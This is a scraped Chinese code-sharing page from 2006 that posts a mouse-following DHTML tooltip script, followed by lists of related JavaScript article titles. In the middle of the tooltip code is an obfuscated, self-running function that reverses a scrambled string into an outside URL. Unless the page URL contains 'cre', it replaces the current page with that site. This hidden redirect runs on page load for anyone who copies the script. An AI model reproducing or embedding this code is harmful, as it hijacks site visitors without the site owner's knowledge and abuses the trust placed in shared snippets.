popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
LBS blog sql注射漏洞[All version]-官方已有补丁
Aug 26 Javascript
JavaScript prototype属性使用说明
May 13 Javascript
ASP.NET jQuery 实例2 (表单中使用回车在TextBox之间向下移动)
Jan 13 Javascript
解决jquery无法找到其他父级子集问题的方法
May 10 Javascript
两行代码轻松搞定JavaScript日期验证
Aug 03 Javascript
angularJS 如何读写缓冲的方法(推荐)
Aug 06 Javascript
fullCalendar中文API官方文档
Feb 07 Javascript
javascript设计模式之模块模式学习笔记
Feb 15 Javascript
详解如何让InstantClick兼容MathJax、百度统计等
Sep 12 Javascript
layer弹出子iframe层父子页面传值的实现方法
Nov 22 Javascript
JSON基本语法及与JavaScript的异同实例分析
Jan 04 Javascript
JavaScript实现简单随机点名器
Nov 21 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
mysql建立外键
2006/11/25 PHP
php实现网页缓存的工具类分享
2015/07/14 PHP
PHP 下载文件时如何自动添加bom头及解释BOM头和去掉bom头的方法
2016/01/04 PHP
PHP pthreads v3下的Volatile简介与使用方法示例
2020/02/21 PHP
JS实多级联动下拉菜单类,简单实现省市区联动菜单!
2007/05/03 Javascript
文本框中,回车键触发事件的js代码[多浏览器兼容]
2010/06/07 Javascript
web性能优化之javascript性能调优
2012/12/28 Javascript
javascript游戏开发之《三国志曹操传》零部件开发(三)情景对话中仿打字机输出文字
2013/01/23 Javascript
JQueryEasyUI Layout布局框架的使用
2013/04/08 Javascript
纯JS实现动态时间显示代码
2014/02/08 Javascript
javascript实现动态加载CSS
2015/01/26 Javascript
jQuery使用removeClass方法删除元素指定Class的方法
2015/03/26 Javascript
基于JavaScript实现生成名片、链接等二维码
2015/09/20 Javascript
理解JavaScript表单的基础知识
2016/01/25 Javascript
关于动态生成dom绑定事件失效的原因及解决方法
2016/08/06 Javascript
Vue实现双向数据绑定
2017/05/03 Javascript
详解vue-router和vue-cli以及组件之间的传值
2017/07/04 Javascript
微信小程序实现的涂鸦功能示例【附源码下载】
2018/01/12 Javascript
vue实现类似淘宝商品评价页面星级评价及上传多张图片功能
2018/10/29 Javascript
详解JavaScript中的函数、对象
2019/04/01 Javascript
express框架中使用jwt实现验证的方法
2019/08/25 Javascript
一步一步实现Vue的响应式(对象观测)
2019/09/02 Javascript
9种方法优化jQuery代码详解
2020/02/04 jQuery
JavaScript如何实现防止重复的网络请求的示例
2021/01/28 Javascript
[52:20]DOTA2-DPC中国联赛正赛 SAG vs XGBO3 第一场 3月5日
2021/03/11 DOTA
Python2.7读取PDF文件的方法示例
2017/07/13 Python
pandas中Timestamp类用法详解
2017/12/11 Python
django加载本地html的方法
2018/05/27 Python
keras 模型参数,模型保存,中间结果输出操作
2020/07/06 Python
类的核心特性有哪些
2014/01/01 面试题
家长会主持词
2014/03/26 职场文书
锅炉工岗位职责
2015/02/13 职场文书
检讨书怎么写
2015/05/07 职场文书
十八大观后感
2015/06/12 职场文书
FP-growth算法发现频繁项集——发现频繁项集
2021/06/24 Python
一篇文章带你复习java知识点
2021/06/28 Java/Android